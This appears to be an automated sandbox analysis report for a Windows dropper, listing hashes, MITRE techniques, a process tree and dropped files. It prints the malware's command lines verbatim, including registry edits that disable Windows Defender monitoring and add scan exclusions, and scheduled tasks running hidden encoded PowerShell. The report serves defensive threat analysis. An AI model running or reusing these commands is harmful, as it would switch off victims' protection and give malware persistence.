64bc066b8f3f1b3a29c41d115b18d998f467166eb44ae10fb27f8d65ad19767c

Analysis

max time kernel
154s
max time network
144s
platform
windows7_x64
resource
win7-20220812-en
resource tags

arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
submitted
23-11-2022 14:34

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General

Target

file.exe
Size

7.2MB
MD5

293bcb13a9d502897ac154d264a446e9
SHA1

c786d5c870e7041e2559d99bd548bccafe23574e
SHA256

64bc066b8f3f1b3a29c41d115b18d998f467166eb44ae10fb27f8d65ad19767c
SHA512

c95fc69a644da84ee9009f443b02d4e2b8a57491e0df33054cf7ab5e9f52362fa2d9c655a61af9392bd184d61ca580206fd6da41494b5afb49a2b1a8f1f151d9
SSDEEP

196608:91OU82JjFcnOlU6DOKr9UanEcEFi+53u3N1ep:3OU82JjOn32OgmPD5UN1s

Score

10^/10

evasion trojan

Malware Config

Signatures

Modifies Windows Defender Real-time Protection settings 3 TTPs 4 IoCs

evasion trojan

Modify Registry

T1112

Modify Existing Service

T1031

Disabling Security Tools

T1089

Processes:

reg.exereg.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection\DisableRealtimeMonitoring = "1"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection\DisableRealtimeMonitoring = "1"	reg.exe

Windows security bypass 2 TTPs 4 IoCs

evasion trojan

Disabling Security Tools

T1089

Modify Registry

T1112

Processes:

reg.exereg.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\LzrOtnkAyuDpOCzW = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\Temp\LzrOtnkAyuDpOCzW = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe

Executes dropped EXE 3 IoCs

Processes:

Install.exeInstall.exeGkPpHJI.exe

pid process

1964 Install.exe
1496 Install.exe
1456 GkPpHJI.exe
Checks BIOS information in registry 2 TTPs 1 IoCs
BIOS information is often read in order to detect sandboxing environments.

Query Registry
T1012

System Information Discovery
T1082

Processes:

Install.exe

description ioc process

Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion Install.exe
Loads dropped DLL 8 IoCs

Processes:

file.exeInstall.exeInstall.exe

pid process

1428 file.exe
1964 Install.exe
1964 Install.exe
1964 Install.exe
1964 Install.exe
1496 Install.exe
1496 Install.exe
1496 Install.exe

pid	process
1964	Install.exe
1496	Install.exe
1456	GkPpHJI.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	Install.exe

pid	process
1428	file.exe
1964	Install.exe
1964	Install.exe
1964	Install.exe
1964	Install.exe
1496	Install.exe
1496	Install.exe
1496	Install.exe

Drops file in System32 directory 7 IoCs

Processes:

Install.exepowershell.EXEGkPpHJI.exepowershell.EXEpowershell.EXE

description	ioc	process
File created	C:\Windows\system32\GroupPolicy\gpt.ini	Install.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE
File created	C:\Windows\system32\GroupPolicy\Machine\Registry.pol	GkPpHJI.exe
File opened for modification	C:\Windows\system32\GroupPolicy\gpt.ini	GkPpHJI.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE
File opened for modification	C:\Windows\system32\GroupPolicy\Machine\Registry.pol	GkPpHJI.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE

Drops file in Windows directory 1 IoCs

Processes:

schtasks.exe

description ioc process

File created C:\Windows\Tasks\bPisEBnRwoxYOmuHrm.job schtasks.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Creates scheduled task(s) 1 TTPs 4 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exeschtasks.exeschtasks.exeschtasks.exe

pid process

588 schtasks.exe
1936 schtasks.exe
520 schtasks.exe
1320 schtasks.exe

description	ioc	process
File created	C:\Windows\Tasks\bPisEBnRwoxYOmuHrm.job	schtasks.exe

pid	process
588	schtasks.exe
1936	schtasks.exe
520	schtasks.exe
1320	schtasks.exe

Enumerates system info in registry 2 TTPs 2 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

Install.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	Install.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	Install.exe

Modifies data under HKEY_USERS 6 IoCs

Processes:

wscript.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	wscript.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows Script Host\Settings	wscript.exe
Key created	\REGISTRY\USER\.DEFAULT\Software	wscript.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft	wscript.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows Script Host	wscript.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows Script Host\Settings	wscript.exe

Suspicious behavior: EnumeratesProcesses 9 IoCs

Processes:

powershell.EXEpowershell.EXEpowershell.EXE

pid	process
1144	powershell.EXE
1144	powershell.EXE
1144	powershell.EXE
1868	powershell.EXE
1868	powershell.EXE
1868	powershell.EXE
1708	powershell.EXE
1708	powershell.EXE
1708	powershell.EXE

Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

powershell.EXEpowershell.EXEpowershell.EXE

description pid process

Token: SeDebugPrivilege 1144 powershell.EXE
Token: SeDebugPrivilege 1868 powershell.EXE
Token: SeDebugPrivilege 1708 powershell.EXE

description	pid	process
Token: SeDebugPrivilege	1144	powershell.EXE
Token: SeDebugPrivilege	1868	powershell.EXE
Token: SeDebugPrivilege	1708	powershell.EXE

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

file.exeInstall.exeInstall.exeforfiles.exeforfiles.execmd.execmd.exe

description	pid	process	target process
PID 1428 wrote to memory of 1964	1428	file.exe	Install.exe
PID 1428 wrote to memory of 1964	1428	file.exe	Install.exe
PID 1428 wrote to memory of 1964	1428	file.exe	Install.exe
PID 1428 wrote to memory of 1964	1428	file.exe	Install.exe
PID 1428 wrote to memory of 1964	1428	file.exe	Install.exe
PID 1428 wrote to memory of 1964	1428	file.exe	Install.exe
PID 1428 wrote to memory of 1964	1428	file.exe	Install.exe
PID 1964 wrote to memory of 1496	1964	Install.exe	Install.exe
PID 1964 wrote to memory of 1496	1964	Install.exe	Install.exe
PID 1964 wrote to memory of 1496	1964	Install.exe	Install.exe
PID 1964 wrote to memory of 1496	1964	Install.exe	Install.exe
PID 1964 wrote to memory of 1496	1964	Install.exe	Install.exe
PID 1964 wrote to memory of 1496	1964	Install.exe	Install.exe
PID 1964 wrote to memory of 1496	1964	Install.exe	Install.exe
PID 1496 wrote to memory of 616	1496	Install.exe	forfiles.exe
PID 1496 wrote to memory of 616	1496	Install.exe	forfiles.exe
PID 1496 wrote to memory of 616	1496	Install.exe	forfiles.exe
PID 1496 wrote to memory of 616	1496	Install.exe	forfiles.exe
PID 1496 wrote to memory of 616	1496	Install.exe	forfiles.exe
PID 1496 wrote to memory of 616	1496	Install.exe	forfiles.exe
PID 1496 wrote to memory of 616	1496	Install.exe	forfiles.exe
PID 1496 wrote to memory of 1720	1496	Install.exe	forfiles.exe
PID 1496 wrote to memory of 1720	1496	Install.exe	forfiles.exe
PID 1496 wrote to memory of 1720	1496	Install.exe	forfiles.exe
PID 1496 wrote to memory of 1720	1496	Install.exe	forfiles.exe
PID 1496 wrote to memory of 1720	1496	Install.exe	forfiles.exe
PID 1496 wrote to memory of 1720	1496	Install.exe	forfiles.exe
PID 1496 wrote to memory of 1720	1496	Install.exe	forfiles.exe
PID 1720 wrote to memory of 812	1720	forfiles.exe	cmd.exe
PID 1720 wrote to memory of 812	1720	forfiles.exe	cmd.exe
PID 616 wrote to memory of 760	616	forfiles.exe	cmd.exe
PID 1720 wrote to memory of 812	1720	forfiles.exe	cmd.exe
PID 616 wrote to memory of 760	616	forfiles.exe	cmd.exe
PID 616 wrote to memory of 760	616	forfiles.exe	cmd.exe
PID 1720 wrote to memory of 812	1720	forfiles.exe	cmd.exe
PID 616 wrote to memory of 760	616	forfiles.exe	cmd.exe
PID 1720 wrote to memory of 812	1720	forfiles.exe	cmd.exe
PID 1720 wrote to memory of 812	1720	forfiles.exe	cmd.exe
PID 616 wrote to memory of 760	616	forfiles.exe	cmd.exe
PID 616 wrote to memory of 760	616	forfiles.exe	cmd.exe
PID 1720 wrote to memory of 812	1720	forfiles.exe	cmd.exe
PID 616 wrote to memory of 760	616	forfiles.exe	cmd.exe
PID 760 wrote to memory of 1456	760	cmd.exe	reg.exe
PID 760 wrote to memory of 1456	760	cmd.exe	reg.exe
PID 812 wrote to memory of 1504	812	cmd.exe	reg.exe
PID 760 wrote to memory of 1456	760	cmd.exe	reg.exe
PID 812 wrote to memory of 1504	812	cmd.exe	reg.exe
PID 812 wrote to memory of 1504	812	cmd.exe	reg.exe
PID 760 wrote to memory of 1456	760	cmd.exe	reg.exe
PID 760 wrote to memory of 1456	760	cmd.exe	reg.exe
PID 760 wrote to memory of 1456	760	cmd.exe	reg.exe
PID 760 wrote to memory of 1456	760	cmd.exe	reg.exe
PID 812 wrote to memory of 1504	812	cmd.exe	reg.exe
PID 812 wrote to memory of 1504	812	cmd.exe	reg.exe
PID 812 wrote to memory of 1504	812	cmd.exe	reg.exe
PID 812 wrote to memory of 1504	812	cmd.exe	reg.exe
PID 812 wrote to memory of 1740	812	cmd.exe	reg.exe
PID 812 wrote to memory of 1740	812	cmd.exe	reg.exe
PID 812 wrote to memory of 1740	812	cmd.exe	reg.exe
PID 812 wrote to memory of 1740	812	cmd.exe	reg.exe
PID 812 wrote to memory of 1740	812	cmd.exe	reg.exe
PID 812 wrote to memory of 1740	812	cmd.exe	reg.exe
PID 812 wrote to memory of 1740	812	cmd.exe	reg.exe
PID 760 wrote to memory of 1524	760	cmd.exe	reg.exe

C:\Users\Admin\AppData\Local\Temp\file.exe
"C:\Users\Admin\AppData\Local\Temp\file.exe"
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1428

C:\Users\Admin\AppData\Local\Temp\7zS7198.tmp\Install.exe
.\Install.exe
2⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1964

C:\Users\Admin\AppData\Local\Temp\7zS7A30.tmp\Install.exe
.\Install.exe /S /site_id "525403"
3⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Loads dropped DLL
- Drops file in System32 directory
- Enumerates system info in registry
- Suspicious use of WriteProcessMemory
PID:1496

C:\Windows\SysWOW64\forfiles.exe
"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"
4⤵
- Suspicious use of WriteProcessMemory
PID:616

C:\Windows\SysWOW64\cmd.exe
/C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&
5⤵
- Suspicious use of WriteProcessMemory
PID:760

\??\c:\windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32
6⤵
PID:1456

\??\c:\windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64
6⤵
PID:1524

C:\Windows\SysWOW64\forfiles.exe
"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"
4⤵
- Suspicious use of WriteProcessMemory
PID:1720

C:\Windows\SysWOW64\cmd.exe
/C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&
5⤵
- Suspicious use of WriteProcessMemory
PID:812

\??\c:\windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32
6⤵
PID:1504

\??\c:\windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64
6⤵
PID:1740

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "ggrpjqdlJ" /SC once /ST 03:03:36 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
4⤵
- Creates scheduled task(s)
PID:1936

C:\Windows\SysWOW64\schtasks.exe
schtasks /run /I /tn "ggrpjqdlJ"
4⤵
PID:1940

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "ggrpjqdlJ"
4⤵
PID:1272

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "bPisEBnRwoxYOmuHrm" /SC once /ST 15:36:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\QkBHKKzSXSgsEdMAS\olQmHhqFMBXnALo\GkPpHJI.exe\" mF /site_id 525403 /S" /V1 /F
4⤵
- Drops file in Windows directory
- Creates scheduled task(s)
PID:520

C:\Windows\system32\taskeng.exe
taskeng.exe {26FDB7FA-C2FA-499C-81D9-C1B48CF1104E} S-1-5-21-999675638-2867687379-27515722-1000:ORXGKKZC\Admin:Interactive:[1]
1⤵
PID:1864

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1144

C:\Windows\system32\gpupdate.exe
"C:\Windows\system32\gpupdate.exe" /force
3⤵
PID:336

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1868

C:\Windows\system32\gpupdate.exe
"C:\Windows\system32\gpupdate.exe" /force
3⤵
PID:1556

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1708

C:\Windows\system32\gpupdate.exe
"C:\Windows\system32\gpupdate.exe" /force
3⤵
PID:1740

C:\Windows\system32\gpscript.exe
gpscript.exe /RefreshSystemParam
1⤵
PID:1596

C:\Windows\system32\taskeng.exe
taskeng.exe {C1D00ABC-882B-42E8-9FFF-A7AD5E4A45D4} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
PID:1752

C:\Users\Admin\AppData\Local\Temp\QkBHKKzSXSgsEdMAS\olQmHhqFMBXnALo\GkPpHJI.exe
C:\Users\Admin\AppData\Local\Temp\QkBHKKzSXSgsEdMAS\olQmHhqFMBXnALo\GkPpHJI.exe mF /site_id 525403 /S
2⤵
- Executes dropped EXE
- Drops file in System32 directory
PID:1456

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "gwbxsPulX" /SC once /ST 09:24:54 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
3⤵
- Creates scheduled task(s)
PID:1320

C:\Windows\SysWOW64\schtasks.exe
schtasks /run /I /tn "gwbxsPulX"
3⤵
PID:1860

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "gwbxsPulX"
3⤵
PID:860

C:\Windows\SysWOW64\cmd.exe
cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:32
3⤵
PID:852

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:32
4⤵
- Modifies Windows Defender Real-time Protection settings
PID:1224

C:\Windows\SysWOW64\cmd.exe
cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:64
3⤵
PID:520

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:64
4⤵
- Modifies Windows Defender Real-time Protection settings
PID:1756

C:\Windows\SysWOW64\schtasks.exe
schtasks /CREATE /TN "gejqTgBnz" /SC once /ST 11:10:46 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
3⤵
- Creates scheduled task(s)
PID:588

C:\Windows\SysWOW64\schtasks.exe
schtasks /run /I /tn "gejqTgBnz"
3⤵
PID:1916

C:\Windows\SysWOW64\schtasks.exe
schtasks /DELETE /F /TN "gejqTgBnz"
3⤵
PID:2008

C:\Windows\SysWOW64\cmd.exe
cmd /C REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\LzrOtnkAyuDpOCzW" /t REG_DWORD /d 0 /reg:32
3⤵
PID:992

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\LzrOtnkAyuDpOCzW" /t REG_DWORD /d 0 /reg:32
4⤵
- Windows security bypass
PID:2036

C:\Windows\SysWOW64\cmd.exe
cmd /C REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\LzrOtnkAyuDpOCzW" /t REG_DWORD /d 0 /reg:64
3⤵
PID:1944

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\LzrOtnkAyuDpOCzW" /t REG_DWORD /d 0 /reg:64
4⤵
- Windows security bypass
PID:1764

C:\Windows\SysWOW64\cmd.exe
cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\LzrOtnkAyuDpOCzW" /t REG_DWORD /d 0 /reg:32
3⤵
PID:1540

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\LzrOtnkAyuDpOCzW" /t REG_DWORD /d 0 /reg:32
4⤵
PID:988

C:\Windows\SysWOW64\cmd.exe
cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\LzrOtnkAyuDpOCzW" /t REG_DWORD /d 0 /reg:64
3⤵
PID:964

C:\Windows\SysWOW64\reg.exe
REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\LzrOtnkAyuDpOCzW" /t REG_DWORD /d 0 /reg:64
4⤵
PID:1856

C:\Windows\SysWOW64\cmd.exe
cmd /C copy nul "C:\Windows\Temp\LzrOtnkAyuDpOCzW\HYQiLiWO\wwIhKxSeMaycmZhX.wsf"
3⤵
PID:824

C:\Windows\SysWOW64\wscript.exe
wscript "C:\Windows\Temp\LzrOtnkAyuDpOCzW\HYQiLiWO\wwIhKxSeMaycmZhX.wsf"
3⤵
- Modifies data under HKEY_USERS
PID:1728

C:\Windows\system32\gpscript.exe
gpscript.exe /RefreshSystemParam
1⤵
PID:1620

C:\Windows\system32\gpscript.exe
gpscript.exe /RefreshSystemParam
1⤵
PID:1724

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Modify Existing Service

T1031

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Disabling Security Tools

T1089

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\7zS7198.tmp\Install.exe

Filesize
6.3MB

MD5
6ebc8b5c2f88d55faf7caabefabd5957

SHA1
89ad8fb53679bd16b980fcd74a395e7475e930bc

SHA256
54d4c1af2f899aaaa9e46dad70d55f516e953b761e4c46980e985aa29ae3dbab

SHA512
2c131294f735eb5c25e04b9db4b52dde07df5d60afcbf0c5b9f27b1e93901ef378fcc812f94176cf216e0e8d967dbaae6854f901a82d34d370e3f9f84300d84e

Download Submit
C:\Users\Admin\AppData\Local\Temp\7zS7198.tmp\Install.exe

Filesize
6.3MB

MD5
6ebc8b5c2f88d55faf7caabefabd5957

SHA1
89ad8fb53679bd16b980fcd74a395e7475e930bc

SHA256
54d4c1af2f899aaaa9e46dad70d55f516e953b761e4c46980e985aa29ae3dbab

SHA512
2c131294f735eb5c25e04b9db4b52dde07df5d60afcbf0c5b9f27b1e93901ef378fcc812f94176cf216e0e8d967dbaae6854f901a82d34d370e3f9f84300d84e

Download Submit
C:\Users\Admin\AppData\Local\Temp\7zS7A30.tmp\Install.exe

Filesize
6.8MB

MD5
a37dbf6bceec57a1792cefc8691b4930

SHA1
97a2fd7ba3ff1b231a9f123c5f1e297a6ac7e063

SHA256
edbb320e9e508bfd12f21fd8debe60c1f9b365135fb21d8a6fc767a1a4822efa

SHA512
b6d9a058d336a760c72c51e856d02d5641c412acb4f86e8c9da610256bb39910df300d440c07cbca4bb953e939155e0ad9a494eb667c87d2a45d783dfa498d77

Download Submit
C:\Users\Admin\AppData\Local\Temp\7zS7A30.tmp\Install.exe

Filesize
6.8MB

MD5
a37dbf6bceec57a1792cefc8691b4930

SHA1
97a2fd7ba3ff1b231a9f123c5f1e297a6ac7e063

SHA256
edbb320e9e508bfd12f21fd8debe60c1f9b365135fb21d8a6fc767a1a4822efa

SHA512
b6d9a058d336a760c72c51e856d02d5641c412acb4f86e8c9da610256bb39910df300d440c07cbca4bb953e939155e0ad9a494eb667c87d2a45d783dfa498d77

Download Submit
C:\Users\Admin\AppData\Local\Temp\QkBHKKzSXSgsEdMAS\olQmHhqFMBXnALo\GkPpHJI.exe

Filesize
6.8MB

MD5
a37dbf6bceec57a1792cefc8691b4930

SHA1
97a2fd7ba3ff1b231a9f123c5f1e297a6ac7e063

SHA256
edbb320e9e508bfd12f21fd8debe60c1f9b365135fb21d8a6fc767a1a4822efa

SHA512
b6d9a058d336a760c72c51e856d02d5641c412acb4f86e8c9da610256bb39910df300d440c07cbca4bb953e939155e0ad9a494eb667c87d2a45d783dfa498d77

Download Submit
C:\Users\Admin\AppData\Local\Temp\QkBHKKzSXSgsEdMAS\olQmHhqFMBXnALo\GkPpHJI.exe

Filesize
6.8MB

MD5
a37dbf6bceec57a1792cefc8691b4930

SHA1
97a2fd7ba3ff1b231a9f123c5f1e297a6ac7e063

SHA256
edbb320e9e508bfd12f21fd8debe60c1f9b365135fb21d8a6fc767a1a4822efa

SHA512
b6d9a058d336a760c72c51e856d02d5641c412acb4f86e8c9da610256bb39910df300d440c07cbca4bb953e939155e0ad9a494eb667c87d2a45d783dfa498d77

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
54a34c0c1adec2d490993a4efd5fd72c

SHA1
4812f1315f3f9aa295dd43920f97c39747db8b14

SHA256
6ad487caacfef16257a9c8951001b9fb4e857ed52008522cb3d8beee21e59768

SHA512
b01c972a43f6f0adb1f2cba19d7176f2c2f5a52654743cf23c20c76b7f6545d6b932d4359080ddb15f27f30497a20bd32531a5ea0cf60807c32ac01771410c18

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
62c1276f685e627bdecf5518645cd8ac

SHA1
f6849f428f3903c70b1ee1c236875b2907847056

SHA256
e093d5e34799e81e6ee9e7094e7a37e1c86ca4e9c43e971bb68df904e8664fae

SHA512
7ecc4fc72089830b9a1f52c0f5782fc50bcacca3a54f6839dc666306a0471eb0ed18ecffa0397eb7085531091a25a9290cf86e8119a3f095aca390ecc3438de7

Download Submit
C:\Windows\Temp\LzrOtnkAyuDpOCzW\HYQiLiWO\wwIhKxSeMaycmZhX.wsf

Filesize
8KB

MD5
998e761ffd99a24de32e8b9abc83cf7d

SHA1
c49e7a2cc86461515ba1c33682879f2b00cafaa3

SHA256
e8b70e4d6051fa0602c9256ba0735bc60b4b60f433c95cdbded37b6768e047b3

SHA512
7ffd1fffb6394cafe76a9b9c8c3ac7b14b5d55c5415d6d548e7ef252bfbdbe99fb45191cfd3dd825c7af0c721e94784a990fef8dc97ec717eadfd6ddf8abcbd1

Download Submit
C:\Windows\system32\GroupPolicy\gpt.ini

Filesize
268B

MD5
a62ce44a33f1c05fc2d340ea0ca118a4

SHA1
1f03eb4716015528f3de7f7674532c1345b2717d

SHA256
9f2cd4acf23d565bc8498c989fccccf59fd207ef8925111dc63e78649735404a

SHA512
9d9a4da2df0550afdb7b80be22c6f4ef7da5a52cc2bb4831b8ff6f30f0ee9eac8960f61cdd7cfe0b1b6534a0f9e738f7eb8ea3839d2d92abeb81660de76e7732

Download Submit
\Users\Admin\AppData\Local\Temp\7zS7198.tmp\Install.exe

Filesize
6.3MB

MD5
6ebc8b5c2f88d55faf7caabefabd5957

SHA1
89ad8fb53679bd16b980fcd74a395e7475e930bc

SHA256
54d4c1af2f899aaaa9e46dad70d55f516e953b761e4c46980e985aa29ae3dbab

SHA512
2c131294f735eb5c25e04b9db4b52dde07df5d60afcbf0c5b9f27b1e93901ef378fcc812f94176cf216e0e8d967dbaae6854f901a82d34d370e3f9f84300d84e

Download Submit
